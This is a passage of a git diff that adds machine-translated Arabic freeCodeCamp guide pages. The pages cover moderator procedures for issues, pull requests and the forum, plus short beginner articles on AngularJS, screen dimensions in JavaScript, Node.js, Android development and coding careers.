+5.  **دراجة تسليط** دراجة تسليط مثال [على قانون باركنسون من التفاهة](https://en.wikipedia.org/wiki/Parkinson%27s_law_of_triviality) . بعض القضايا ببساطة لا تستحق الإصلاح. إذا كنت تعتقد أن هناك مشكلة لا تستحق هذه الجهود ، `bikeshedding` علامة على `bikeshedding` ، والصق الرسالة التالية ، ثم أغلق المشكلة:
+    
+    > شكرًا لك على الإبلاغ عن هذه المشكلة.
+    > 
+    > _أعطِ شرحًا مختصرًا لِماذا هذا هو bikeshedding ، شكل من أشكال [قانون باركنسون](https://en.wikipedia.org/wiki/Parkinson%27s_law_of_triviality) من التفاهة ، لذلك أنا أغلقه._
+    > 
+    > إذا كنت تعتقد أنني مخطئ في إغلاق هذه المشكلة ، فيرجى إعادة فتحها وإضافة مزيد من التوضيح. شكرا لك ، والترميز سعيدة.
+    
+
+### طلبات سحب الطلب
+
+طلبات السحب (PRs) هي كيفية إرسال المساهمين في freeCodeCamp التغييرات إلى المستودع للنظر فيها. من المهم أن يتم تنسيق هذه العلاقات العامة بشكل صحيح ، وأن تخضع لاختبار شامل لضمان الجودة قبل دمجها.
+
+### سحب متطلبات الطلب والتنسيق
+
+يجب أن تستوفي جميع المستفيدين الرئيسيين المتطلبات التالية قبل قبولها:
+
+1.  يجب أن تشير إلى مشكلة واحدة مفتوحة على الأقل ، ويجب أن يتضمن النص أيضًا `closes #XXXXX` لكل رقم إصدار `#XXXXX` معه (استبدال رقم `#XXXXX` برقم المشكلة)
+2.  يجب أن يكون ضد فرع **`staging`**
+3.  يجب أن يكون من فرع غير منظم بشكل صحيح ، على الشوكة الشخصية للمستخدم من freeCodeCamp
+4.  يجب أن يصف العنوان التغيير الذي تم إجراؤه
+5.  يجب ألا يحتوي عنوانه على رقم إصدار فيه
+6.  يجب أن يعطي جسمه تفاصيل حول التغيير ، وكذلك مستوى الاختبار (أي لم يتم اختباره ، تم اختباره محليًا)
+7.  يجب إسقاط التغييرات _ذات الصلة_ إلى ارتكاب واحد. ولكن التغييرات _ذات الصلة أو الملحوظة_ قد يكون لها التزامات منفصلة.
+8.  يجب أن يجتاز القانون جميع الاختبارات والإجراءات
+
+إذا لم تستوف العلاقات العامة واحدًا أو أكثر من هذه المتطلبات ، فافتح مراجعة GitHub مع تحديد أي من المتطلبات الثمانية لم يتم استيفائها بعد. قد تتم إحالة المساهمين الجدد إلى غرفة [Contributors](https://gitter.im/freeCodeCamp/Contributors) Chat. في تقدير المشرف ، قد تكون القضية مغلقة.
+
+### ضمان الجودة (ضمان الجودة)
+
+وبافتراض الوفاء بالمتطلبات الأساسية للعلاقات العامة ، يجب أن تخضع جميع المستفيدين الرئيسيين لبعض مستويات اختبار ضمان الجودة. تتمثل أكثر عمليات ضمان الجودة الأساسية في التحقق من العلاقات العامة محليًا على جهاز الكمبيوتر واختبار الوظائف التي تم تغييرها.
+
+1.  تأكد من قدرتك على إعادة إظهار المشكلة محليًا.
+2.  تحقق من أن العلاقات العامة تعمل على إصلاح المشكلة.
+3.  يمكنك الرد على المشكلة المتعلقة بـ **"LGTM"** ، والتي تعني "تبدو جيدة بالنسبة لي".
+4.  إذا كان لديك أي شك حول ما إذا كان يجب دمج العلاقات العامة ، دع شخصًا آخر QA ، ومن ثم يمكنه دمجها.
+5.  إذا كان هناك بالفعل "LGTM" وكنت مسؤولاً عن ضمان الجودة ، يجب عليك دمجها.
+
+إذا كان هناك أي شك حول الوظيفة ، يمكنك ذكر **`@freeCodeCamp/moderators`** للحصول على رأي ثانٍ.
+
+### متطلبات خاصة
+
+يجب الموافقة على [PRs](https://gitter.im/berkeleytrue) التي تغير الوظيفة الأساسية للموقع أو إجراء تغييرات غير عادية على واجهة المستخدم أو UX للموقع بواسطة [BerkeleyTrue](https://gitter.im/berkeleytrue) أو [QuincyLarson](https://gitter.im/quincylarson) . إذا كان لديك أي شك ، ضع علامة عليها في تعليق و / أو لفت انتباههم إلى العلاقات العامة عبر Gitter Chat.
+
+### القواعد الأخرى التي تحكم المراقبين
+
+على الرغم من أنك ستحصل على حق الوصول للكتابة إلى مستودع freeCodeCamp:
+
+*   **يجب عليك عدم دفع الكود مباشرة إلى مستودع freeCodeCamp** . يجب إدخال رمز البرنامج freeCodeCamp في شكل طلب سحب من شوكة الريبو.
+*   يجب ألا تقبل أبداً مستقبلك الرئيسي. يجب أن تكون QA-ed بواسطة مشرف آخر ، تمامًا مثل أي PR آخر.
+
+# الإشراف على المنتدى
+
+يتبع الإشراف على المنتدى نفس المبادئ التي يتبعها Gitter. فيما يلي وصف الاختلافات الطفيفة ، لحساب الاختلافات من Gitter على منصة الخطاب.
+
+مشرفو المنتدى مسؤولون عن جعل مجتمعنا مكانًا ممتعًا لأي شخص يتعلم ويحصل على المساعدة. وسيتولى مشرفو المنتدى التعامل مع المشاركات التي تم الإبلاغ عنها والتعامل مع الرسائل غير المرغوب فيها وإيقاف الموضوع وغير ذلك من المحادثات غير اللائقة.
+
+### حذف مشاركات المنتدى
+
+لدى المشرفين في المنتدى القدرة على حذف مشاركات المستخدم. يجب عليك القيام بذلك فقط في الحالات التالية:
+
+1.  نشر شخص ما صورة إباحية أو عنيفة بيانياً.
+2.  نشر شخص ما رابطًا أو رمزًا ضارًا بطبيعته ، ويمكن أن يلحق الضرر بالمشاركين الآخرين الذين ينقرون عليه.
+3.  لقد غمر أحد الأشخاص سلسلة رسائل تحتوي على الكثير من الرسائل غير المرغوب فيها.
+
+### التعامل مع البريد المزعج
+
+بالنسبة إلى أول مشاركة للبريد العشوائي لأحد المستخدمين ، أرسل إليهم رسالة تشرح المشكلة ، وأزل الرابط أو المشاركة بالشكل المناسب. اترك ملاحظة على الملف الشخصي للمستخدم تشرح الإجراء الذي اتخذته. إذا استمرت المشكلة ، ثم اتبع العملية المذكورة أعلاه. منع المستخدم بهدوء من النشر ، ثم أرسل التحذير باستخدام Code of Conduct. ضع علامة في المربع في الرسالة الخاصة التي تشير إلى أن رسالتك هي "تحذير رسمي".
+
+ليس من الضروري استخدام غرفة Gitter الإدارية للإبلاغ عن الحوادث في المنتدى. إذا كانت لديك أسئلة ، فالرجاء طرحها في قسم منتدى [الموظفين](https://forum.freecodecamp.com/c/staff) .
+
+### التعامل مع المحادثات خارج الموضوع
+
+المشاركات أو الموضوعات التي يبدو أنها في المكان الخطأ ، يمكن إعادة تصنيفها أو إعادة تسميتها إلى أي شيء يكون مناسبًا.
+
+في ظروف استثنائية ، قد يكون من المناسب أن يقوم الوسيط بتشكيل مناقشة في سلاسل رسائل متعددة.
+
+مرة أخرى ، إذا كانت لديك أية مشكلات أو أسئلة ، فشاركها مع إجراءاتك في فئة "الموظفين" ، ووسِّم مشرفًا آخر إذا كنت تريد منهم مراجعة إجراءات الإشراف.
+
+# كيف تصبح وسيطا
+
+هل ساهمت في مجتمعنا ، والرغبة في السلطة / المسؤولية الإضافية التي تأتي مع كونها وسيط؟
+
+اجمع الأدلة التي توضح مدى استفادتك من مشكلات GitHub و / أو مساعدة المعسكرات على Gitter ومنتدياتنا ، ثم أرسلها في Gitter إلى:
+
+*   [BerkeleyTrue](https://gitter.im/berkeleytrue)
+*   [CodeNonprofit](https://gitter.im/codenonprofit)
+*   [QuincyLarson](https://gitter.im/quincylarson)
+
+متطلبات إضافية:
+
+*   يجب تمكين "المصادقة الثنائية" على حساب GitHub الخاص بك.
+*   يجب أن يكون ملفك الشخصي على GitHub على الأقل اسمك الأول.
+*   يجب أن تحتوي صورتك على GitHub على وجهك.
+
+إذا تمت الموافقة عليك ، سنقوم بإضافتك إلى [فريق منسق الحوارات](https://github.com/orgs/freeCodeCamp/teams/moderators) لدينا.
+
+# كيف نتقاعد المشرفين غير الناشطين
+
+يرجى ملاحظة أننا سنقوم في كثير من الأحيان بإزالة تعديلات الإصدار التي نعتقد أنها غير نشطة. عندما نفعل ذلك سنرسل الرسالة التالية:
+
+> هذه رسالة قياسية تُعلمك بذلك ، نظرًا لأنك لم تصبح مشرفًا نشطًا مؤخرًا ، فنحن نزيلك من فريق منسق الحوارات لدينا. نحن نقدر بشدة مساعدتك في الماضي.
+> 
+> إذا كنت تعتقد أننا فعلنا ذلك عن طريق الخطأ ، أو عندما تكون مستعدًا للرجوع والمساهمة بشكل أكبر ، ما عليك سوى الرد على هذه الرسالة لإخباري بذلك.
+
+# كيف تعمل غرفة المساهمين لدينا
+
+أي شخص مرحب به في [غرفة Contributors](https://gitter.im/freecodecamp/contributors) . هي غرفة الدردشة المخصصة للمشرفين وغيرهم من المعسكر الذين يساهمون في مجتمعنا بأي عدد من الطرق ، بما في ذلك من خلال مجموعات الدراسة.
+
+افتراضنا هو أن المساهمين `@username` أي شيء في هذه الغرفة يذكرهم مباشرةً باسم `@username` ، أو يتم توجيهه إلى `@/all` . كل شيء آخر هو اختياري. ولكن لا تتردد في قراءة أي شيء ينشر أي شخص هناك والتفاعل.
+
+# كيف تصبح وسيطا في هذا المنتدى
+
+إذا كنت بالفعل مشرفًا ، فيمكنك طلب وضع مشرف على هذا المنتدى أيضًا. رسالة [@ michaelhenderson](/users/michaelhenderson) هنا في المنتدى وسيتحقق من حالة مشرفك على GitHub ، ثم يمنحك وضع مشرف هنا.
+
+# التعامل مع المحامين
+
+قد يتم الاتصال بك من قبل المنظمات التي ترغب في المشاركة أو المشاركة في العلامة التجارية مع freeCodeCamp بطريقة ما. بمجرد أن تدرك أن هذا هو ما هو بعد ، يرجى التوقف عن التحدث إليهم وأطلب منهم التحدث مباشرة مع كوينسي لارسون . إنه يتلقى مثل هذه المقترحات كل يوم حرًا ، وهو في أفضل وضع للحكم على ما إذا كانت هذه العلاقة تستحقها لمجتمعنا (ونادراً ما تكون كذلك).
+
+# تعريفات
+
+> يجب تفسير الكلمات الرئيسية "يجب" ، و "يجب أن" ، و "المطلوب" ، و "يجب" ، و "لا" ، و "موصى به" ، و "ماي" ، و "اختياري" في هذه الوثيقة كما هو موضح في [**RFC 2119**](https://www.ietf.org/rfc/rfc2119.txt) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/front-end-file-structure/index.md b/client/src/guide/arabic/miscellaneous/front-end-file-structure/index.md
new file mode 100644
index 0000000000..75f3e20458
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/front-end-file-structure/index.md
@@ -0,0 +1,14 @@
+---
+title: Front End File Structure
+localeTitle: هيكل ملف النهاية الأمامية
+---
+الأشياء الأولى أولاً: جميع الملفات التي تواجه المستخدم والملفات الزاوي موجودة في **/ العميل / التطبيق /**
+
+1.  **app.js** : يحدد تطبيقك ويتضمن بعض الوظائف الأساسية على مستوى التطبيق ، وربما لا تحتاج إلى الفوضى معه ما لم تحاول إضافة المزيد من التبعيات إلى تطبيقك. لسنا قلقون بشأن ذلك الآن.
+2.  **app.css** : ورقة أنماط على مستوى التطبيق ، يمكنك وضع الأنماط هنا إذا كنت ترغب في ذلك ولكني **أنصحك** بوضعها في **main / main.css** ، حيث أن هذه الأنماط هي أيضًا واسعة على مستوى التطبيق.
+3.  **main /** : يحتوي هذا المجلد على ما يراه المستخدم أولاً عند تحميل موقعك. **main.html** هو قالب الصفحة ، يقوم **main.js** بتوجيه المستخدم إلى **main.html** عندما ينتقل المستخدم إلى دليل المستوى الأعلى لموقعك على الويب - أي ، http: //yourapp.wherever.itis/ بدون / أخرى / عنوان url / التسلسل الهرمي . ستتعرف أيضًا قريبًا على أنه يمكنك تحديد تطبيق / عنوان url / heirarchy / fairly / arbitrarily . لن تحتاج إلى تعديل **main.js** أو **main.controller.spec.js** ، لذلك دعونا لا **نشعر** بالقلق حيال ذلك الآن. إذا نظرت من خلال ملف **main.html** فسترى أنه يستخدم _ng-repeat_ لإظهار _الأشياء_ في _awesomeThings_ . من أين تحصل على _أشياء رائعة_ ؟
+4.  **main / main.controller.js** : كل ​​وظائف javascript التي تريد استخدامها للتفاعل مباشرة مع المستخدم ، اذهب هنا! ستضع وظائف هنا للتفاعل مع واجهة برمجة التطبيقات الخاصة بك ، وتحديث طرق _العرض لمستخدمك_ ، إلخ. هنا ، يتم سحب _الأشياء الرائعة_ من قاعدة البيانات وإضافتها إلى النطاق المحلي بحيث يمكن عرض HTML الخاص بك عليها! اليس رائعآ! سنصل إلى إضافة كائنات مخصصة إلى قاعدة البيانات الخاصة بك في دقيقة واحدة.
+
+عظيم! الآن أنت تعرف كيف تتفاعل مع المستخدم! ولكن ماذا لو كنت تريد أن يكون لتطبيقك صفحة أخرى تفعل شيئًا آخر؟ ربما **main.html** يعرض الصفحة الرئيسية ، ولكنك تريد صفحة تعرض نموذجًا لإضافة استطلاع؟ ربما http: //yourapp.wherever.itis/newpage ؟ هذا هو المكان الذي يأتي فيه مولد yeoman في متناول اليدين.
+
+[السابق](http://forum.freecodecamp.com/t/guides-to-back-end-projects/14265) NEXT
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/get-information-about-the-current-user-in-angularjs/index.md b/client/src/guide/arabic/miscellaneous/get-information-about-the-current-user-in-angularjs/index.md
new file mode 100644
index 0000000000..9fa373a0dc
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/get-information-about-the-current-user-in-angularjs/index.md
@@ -0,0 +1,16 @@
+---
+title: Get Information About the Current User in Angularjs
+localeTitle: الحصول على معلومات حول المستخدم الحالي في Angularjs
+---
+ربما تكون قد لاحظت ما إذا كنت قد فتحت **/client/app/admin/admin.controller.js** بحيث تستدعي وحدة _Auth_ مثل:
+
+ `.controller('AdminCtrl', function ($scope, $http, Auth … 
+` 
+
+يمكنك تضمين Auth في وحدات التحكم الأخرى بنفس الطريقة. من المفيد جدًا أن يتوفر لديك _Auth_ في وحدة التحكم الخاصة بك لاكتشاف ما إذا كان المستخدم قد قام بتسجيل الدخول أو للحصول على معلومات حول المستخدم الحالي. في جسم وحدة التحكم الخاصة بك يمكنك إضافة
+
+ `$scope.getCurrentUser = Auth.getCurrentUser; 
+ $scope.isLoggedIn = Auth.isLoggedIn; 
+` 
+
+ثم يمكنك استخدام _isLoggedIn ()_ أو _getCurrentUser ()_ في عرض HTML لوحدة التحكم الخاصة بك!
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/get-screen-size-in-pixels/index.md b/client/src/guide/arabic/miscellaneous/get-screen-size-in-pixels/index.md
new file mode 100644
index 0000000000..cec3215d9c
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/get-screen-size-in-pixels/index.md
@@ -0,0 +1,41 @@
+---
+title: Get Screen Size in Pixels
+localeTitle: الحصول على حجم الشاشة بالبكسل
+---
+قد يكون هناك أوقات يحتاج فيها تطبيق JS إلى معرفة حجم الشاشة لكي تتمكن من تنفيذ إجراءات معينة.
+
+لحسن الحظ بالنسبة لنا ، هناك وظائف جافا سكريبت المضمنة التي يمكنها بسهولة التقاط أبعاد مختلفة للشاشة على جهاز المستخدم بالبكسل. ما تعتمد عليه يعتمد على ما تريد القيام به.
+
+## الحصول على قرار المستخدم
+
+قد ترغب في القيام بشيء يتضمن دقة جهاز المستخدم. في هذه الحالة ، يجب عليك استخدام الخصائص المضمنة `screen.width` و `screen.height` . هذه تعطيك حجم الشاشة التي تتعامل معها. **هذه ليست المنطقة التي يجب أن تعمل بها على الصفحة. هذه القيم تمثل كامل الشاشة أي دقة عرض المستخدم.**
+
+## الحصول على حجم المتصفح
+
+قد يكون هناك تطبيق مثير للاهتمام للتعامل مع الحجم الحالي للمتصفح. إذا كنت تريد الوصول إلى هذه الأبعاد ، فاستخدم `screen.availWidth` و `screen.availHeight` properties to do so. تذكر أن هذه هي أبعاد نافذة المتصفح بالكامل ، من أعلى نافذة المتصفح إلى الأسفل حيث يلتقي المتصفح بشريط المهام أو حافة سطح المكتب ، بناءً على الإعداد.
+
+**ملاحظة مهمة** : `screen.availHeight` يمكن استخدام `screen.availHeight` أيضًا لمعرفة طول شريط المهام على جهاز الكمبيوتر. إذا كانت دقة المتصفح هي `1366 x 768` ، و `screen.availHeight` تقارير 728 بكسل ، فإن شريط المهام يكون بارتفاع 40 بكسل. يمكنك أيضًا حساب ارتفاع شريط المهام بطرح `screen.height` و `screen.availHeight` :
+
+ `var taskbarHeight = parseInt(screen.height,10) - parseInt(screen.availHeight,10) + " pixels"; 
+ /* 
+ For a user that has a screen resolution of 1366 x 768 pixels, their taskbar is likely 40 pixels if using Windows 10 with no added accessibility features. 
+ */ 
+` 
+
+## الحصول على عرض حجم النافذة
+
+هذه الخصائص مثيرة للاهتمام ويمكن استخدامها لخلق بعض الآثار الأنيقة. يمكنك استخدام `window.innerHeight` و `window.innerWidth` للحصول على حجم النافذة لصفحة الويب كما يراها المستخدم. هذه القيم ليست ثابتة وسوف تتغير حسب ما يحدث مع المتصفح نفسه. بعبارة أخرى ، إذا كان المتصفح نفسه صغيرًا ، فإن هذه القيم ستكون أصغر ، وإذا تم تكبير المتصفح ، فسيكون أكبر.
+
+على سبيل المثال ، إذا كنت تعمل في Google Chrome وفتحت وحدة التحكم (يجب `window.innerHeight` إلى جانب النافذة) ، `window.innerHeight` ليعكس ارتفاع وحدة التحكم لأنه سيتم حظر جزء من النافذة. يمكنك اختبار ذلك عن طريق استدعاء `window.innerHeight` ، `window.innerHeight` علما بالقيمة ، ثم زيادة حجم وحدة التحكم ، و call `window.innerHeight` مرة أخرى.
+
+هذه الخصائص سوف تتغير أيضا إذا تم تكبير المتصفح الخاص بك أو تغيير حجمها بأي شكل من الأشكال. في الحجم الأقصى للمتصفح ، يكون `window.innerWidth` هو نفسه كل من `screen.width` و `screen.availWidth` (ما لم يكن هناك شريط مهام على الجانب ، وفي هذه الحالة لا يكون `screen.availWidth` . يساوي `window.innerHeight` مقدار المساحة في نافذة الصفحة نفسها (منطقة صفحة الويب).
+
+## الحصول على ارتفاع وعرض صفحة الويب
+
+إذا كنت بحاجة إلى معرفة مدى طول صفحة الويب أو عرضها ، فهناك خصائص لجذب هذه الأبعاد: `document.body.offsetWidth` و `document.body.offsetHeight` . تمثل هذه الخصائص حجم المحتوى في نص الصفحة نفسها. تحتوي الصفحة بدون محتوى على `document.body.offsetHeight` تساوي قريبة من نفس القيمة مثل `window.innerHeight` بناءً على ما هي الهوامش / الحشو التي تم تعيينها على نص المستند. إذا تم تعيين الهوامش والحشو إلى `0` على عنصر HTML الأساسي `window.innerHeight` المستند ، فإن `document.body.offsetHeight` و `window.innerHeight` سيكونان متساويين مع عدم وجود محتوى.
+
+يمكن استخدام هذه الخصائص للتفاعل مع صفحتك / تطبيقك بناءً على ما تريد القيام به.
+
+## استنتاج
+
+تعتمد الخاصية التي تستخدم فقط على ما ترغب في القيام به. اقرأ ما يفعله كل منهم ، واقرر بنفسك الخصائص التي تحتاج إلى استخدامها لمشروعك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/get-started-with-nodejs/index.md b/client/src/guide/arabic/miscellaneous/get-started-with-nodejs/index.md
new file mode 100644
index 0000000000..8a97091f66
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/get-started-with-nodejs/index.md
@@ -0,0 +1,43 @@
+---
+title: Get Started with Nodejs
+localeTitle: ابدأ مع Nodejs
+---
+[Node.js](https://nodejs.org/) هو وقت تشغيل جافا سكريبت مبني على [محرك جافا سكريبت V8 من Chrome ،](https://developers.google.com/v8/ "محرك V8 من Chrome") مما يتيح استخدام جافا سكريبت للبرمجة من جانب الخادم.
+
+أصبحت Node.js جزءًا أساسيًا من "JavaScript Everywhere" ، وتشجع تطوير تطبيقات الويب على التوحيد حول لغة برمجة واحدة ، بدلاً من الاعتماد على لغة مختلفة لكتابة النصوص البرمجية للخادم.
+
+### دروس:
+
+*   [الدروس التفاعلية NodeSchool.io](http://nodeschool.io/)
+*   [فن العقدة (مقدمة للعقدة)](https://github.com/maxogden/art-of-node/#the-art-of-node)
+*   [دليل Node.js](http://nodeguide.com/)
+*   [قم بإنشاء مدونة باستخدام Node.js و express و MongoDB](http://howtonode.org/express-mongodb)
+
+## كتب
+
+*   [كتاب العقدة للمبتدئين](http://nodebeginner.org/)
+*   [إتقان Node.js](https://github.com/visionmedia/masteringnode)
+*   [يصل وتشغيل مع Node.js](http://chimera.labs.oreilly.com/books/1234000001808/index.html)
+*   [عقدة تطوير الشبكة](https://www.packtpub.com/web-development/node-web-development)
+
+## الدورات
+
+*   [الوقت الحقيقي مع الويب Node.js](http://node.codeschool.com/)
+*   [Essential Node.js من DevelopMentor](http://www.globalknowledge.co.uk/courses/it-subjects/application-development/)
+*   [مقدمة إلى MongoDB باستخدام MAN Stack](https://www.edx.org/course/introduction-mongodb-using-mean-stack-mongodbx-m101x-0)
+*   [دورة المطور الكامل Node.js (الإصدار الثاني)](https://www.udemy.com/the-complete-nodejs-developer-course-2/)
+
+## المدونات
+
+*   [مدونة Node.js](http://blog.nodejs.org/)
+*   [كيف عقدة](http://howtonode.org/)
+*   [DailyJS](http://dailyjs.com/)
+*   [مدونة Nodejitsu](http://blog.nodejitsu.com/)
+*   [js-deflate](https://github.com/dankogai/js-deflate) for gzipping data to make it fit in URLs
+*   [ريان ويلكوكس في ورقة بيضاء](http://www.wilcoxd.com/whitepapers/node_js/)
+*   [devthought](http://www.devthought.com/)
+
+### معلومات اكثر:
+
+*   [Stackoverflow.com: كيف أبدأ مع Node.js؟](https://stackoverflow.com/questions/2353818/how-do-i-get-started-with-node-js)
+*   [الموقع الرسمي Node.js: كيف أبدأ بـ Node.js بعد أن قمت بتثبيته؟](https://nodejs.org/en/docs/guides/getting-started-guide/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/getting-a-coding-job/index.md b/client/src/guide/arabic/miscellaneous/getting-a-coding-job/index.md
new file mode 100644
index 0000000000..7d5b4ff934
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/getting-a-coding-job/index.md
@@ -0,0 +1,26 @@
+---
+title: Getting a Coding Job
+localeTitle: الحصول على وظيفة الترميز
+---
+سيساعدك Free Code Camp في الإعداد لمهمة ترميز.
+
+![مخطط الوظائف](https://www.evernote.com/shard/s116/sh/55c128c7-5d99-41cc-b03d-b3de22611c8d/b43e467b3889f646fec34bb4c161e2a2/deep/0/What)
+
+## فيما يلي الحقائق:
+
+*   هناك مئات الآلاف من وظائف الترميز غير المعبأة.
+*   انضم أرباب العمل وحكومة الولايات المتحدة معا للترويج لبرامج الترميز غير التقليدية مثل Free Code Camp.
+*   المكدس الكامل جافا سكريبت و Swift هما من أفضل مجموعات المهارات دفع ، ولدي الكثير من فرص العمل.
+*   أفضل دليل على أنك مطور قابل للتطبيق هو محفظة مليئة بالتطبيقات الحقيقية التي يستخدمها الأشخاص الحقيقيون.
+
+ستظل بحاجة إلى تطوير مهارات إجراء المقابلات الأساسية والمهارات الناعمة (إذا كنت تعمل في وظيفة من نوع عامل المعرفة لبضع سنوات ، فمن المحتمل أن تكون لديك بالفعل).
+
+يعد [Hackerrank](https://www.hackerrank.com/domains/tutorials/cracking-the-coding-interview) موردًا رائعًا لتحسين مهارات الترميز
+
+ستحتاج أيضًا إلى العمل بجد للتواصل مع المبرمجين في مدينتك. يمكنك القيام بذلك عن طريق الانضمام [إلى المجموعة المحلية لمدينتك](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/LocalGroups-List) والمشاركة في أكبر عدد ممكن من الأحداث.
+
+لقد وجدت [هذا](https://github.com/cassidoo/getting-a-gig) الرابط ليكون مفيدا. يقوم بعمل رائع لشرح العملية.
+
+## نصيحة للمحترفين:
+
+كما هو الحال في أي مجال أو مجال آخر ، فإن الجزء الأصعب هو البدء بالفعل. لا تقلق كثيرًا واتخاذ إجراء بدلاً من ذلك - ستكون النتائج فتنًا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/getting-started-with-android-development/index.md b/client/src/guide/arabic/miscellaneous/getting-started-with-android-development/index.md
new file mode 100644
index 0000000000..d76ae1c38d
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/getting-started-with-android-development/index.md
@@ -0,0 +1,49 @@
+---
+title: Getting Started with Android Development
+localeTitle: البدء مع تطوير Android
+---
+أصبح [Android](https://www.android.com/) اليوم نظام التشغيل الرائد المستخدم في العديد من الأجهزة ، مثل الهاتف المحمول ، والأجهزة اللوحية ، والساعات ، والتلفزيون ، والسيارات وغيرها الكثير. إنها تمتلك أكثر من مليار جهاز في جميع أنحاء العالم. ويستند إلى نواة لينكس. كان نظام التشغيل Android أفضل نظام تشغيل مبيع على الأجهزة اللوحية منذ عام 2013 ، وعلى الهواتف الذكية ، فإنه يسيطر على أي مقياس.
+
+## المتطلبات الأساسية
+
+لبدء تطوير Android ، يجب أن تكون على علم ببعض الأشياء التالية:
+
+*   [جافا](https://java.com/en/) : يتم تطوير Android في الغالب في جافا. إنها ليست لغة صعبة التعلم ، ولكن معرفة كيفية تطبيقها على تطوير Android يمكن أن يكون مربكًا دون وجود أساس ثابت في اللغة. إن Android Java ليس جافا القياسي بالضبط ، ولكن تعلم Java القياسي سيجعل الأمر أسهل بكثير بالنسبة لك لالتقاط تطوير Android. بالنسبة للموضوعات المحددة في Java والتي قد تكون مفيدة في هذه الحالة ، يمكنك الرجوع إلى [هذا](http://www.bigknol.com/2016/01/10-prerequisites-for-learning-android.html) الارتباط.
+*   [XML](http://www.w3schools.com/xml/) : يمكن أن تكون معرفة XML مفيدة في عدد من الحقول ذات الصلة بالتكنولوجيا ، كما أن Android ليس استثناءً. على وجه الخصوص ، تسهل ملفات XML الإعلان عن عناصر واجهة المستخدم في التطبيقات التي تقوم بإنشائها. الخبرة السابقة هي زائد كبير.
+*   المثابرة: أخيرًا ، سيتطلب تعلم خصوصيات وعموميات مجموعة أدوات تطوير Android وقتًا. سيحتاج تعلم كيفية إنشاء تطبيق عالي الجودة إلى مزيد من الوقت. لا تتعجل. استمر في ذلك وركز عقلك على المدى الطويل. إذا لم تفعل ، فسوف تشعر بالإحباط وتريد الاستسلام.
+
+## أدوات
+
+في البداية ، تأكد من أن لديك جميع الأدوات في نظامك. **يرجى ملاحظة أن الطرود المطلوبة للمضي قدمًا في تعلم تطوير Android تتطلب تنزيلات بحجم أكثر من 1 غيغابايت وسيستغرق التثبيت حوالي 2 إلى 3 ساعات من وقتك.** الأشياء التي ستحتاج إليها لبدء إنشاء تطبيقات لأجهزة Android هي:
+
+*   [أحدث إصدار من Java JDK](http://www.oracle.com/technetwork/java/javase/downloads/index.html) : [إليك](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Java-Introduction) دليل لتثبيت Java على جهاز الكمبيوتر الخاص بك.
+*   [الروبوت ستوديو](http://developer.android.com/sdk/index.html) : [هنا](http://developer.android.com/sdk/installing/index.html) هو الدليل الرسمي لتثبيت استوديو الروبوت.
+*   إذا أمكن ، جهاز Android. إذا لم تقم بذلك ، فلا بأس أيضًا ، حيث يمكنك تشغيل [محاكي](http://developer.android.com/tools/devices/emulator.html) لتشغيل جهاز Android افتراضي على جهاز الكمبيوتر نفسه.
+
+## دعم اللغة Kotlin
+
+بدءًا من Android Studio 3.0 ، يتم دمج دعم الأدوات لـ Kotlin مباشرة في Android Studio. **Kotlin** هي لغة برمجة مكتوبة بشكل ثابت وتعمل على Java Virtual Machine ويمكن أيضًا تجميعها إلى شفرة مصدر JavaScript. تم تصميم Kotlin للتعامل مع شفرة Java ويعتمد على كود Java من Java Class Library الموجودة ، مثل هيكل المجموعات. تم تصميم **Kotlin** ليكون لغة موجهة نحو القوة الصناعية ، و "لغة أفضل" من Java ، ولكن لا يزال قابلاً للتشغيل الكامل مع Java البرمجية ، مما يسمح للشركات بإجراء ترحيل تدريجي من Java إلى Kotlin.
+
+بعض فوائد استخدام Kotlin في تطوير Android:
+
+*   يتطلب Kotlin رمزًا أقل للكتابة.
+*   أقل تسحق يحدث على Kotlin.
+*   Kotlin هي لغة سلامة نوع.
+*   يوفر لك Kotlin بعض وقتك الثمين.
+
+## دروس
+
+بعض الدورات التدريبية والدروس الأساسية لتعلم تطوير Android:
+
+*   [دليل مطور برامج Android الرسمي](http://developer.android.com/training/index.html) : بالنسبة للمبتدئين ، يحتوي هذا القسم على قسم تدريبي شامل يتراوح من إعداد البيئة الخاصة بك وبناء أول تطبيق Android الخاص بك على طول الطريق لتوزيع التطبيق النهائي وكسب المال على متجر Play. بالنسبة إلى المستخدمين المتقدمين ، ستكون أدلة API والمراجع موجودة دائمًا لمساعدتك في العثور على الحلول الأكثر فاعلية لمشكلات تطوير التطبيق. يحتوي هذا الدليل أيضًا على روابط لدورات الفيديو المحددة التي تتطلبها احتياجات المطورين لمواضيع التطوير المتقدمة.
+*   [CodePath Android Cliffnotes](https://guides.codepath.com/android)
+*   [TutorialsPoint](http://www.tutorialspoint.com/android/)
+*   [Vogella](http://www.vogella.com/tutorials/android.html)
+
+## مصادر
+
+في ما يلي بعض الروابط المفيدة إلى المكتبات لتطوير Android:
+
+*   قائمة [UI الروبوت رهيبة](https://github.com/wasabeef/awesome-android-ui) من Wasabeef
+*   قائمة [مكتبات Android الرائعة](https://github.com/snowdream/awesome-android) بواسطة SnowDream
+*   قائمة [مكتبات Android الرائعة](https://github.com/wasabeef/awesome-android-libraries) من Wasabeef
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/getting-started-with-back-end-projects/index.md b/client/src/guide/arabic/miscellaneous/getting-started-with-back-end-projects/index.md
new file mode 100644
index 0000000000..702a809d33
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/getting-started-with-back-end-projects/index.md
@@ -0,0 +1,41 @@
+---
+title: Getting Started with Back End Projects
+localeTitle: الابتداء مع مشاريع النهاية الخلفية
+---
+إن المنهج الذي يؤدي إلى أول مشروع للجهة الخلفية ليس شاملاً للغاية. في ما يلي عدد من الموارد المشتركة التي وجدها المعسكرون الآخرون مفيدة.
+
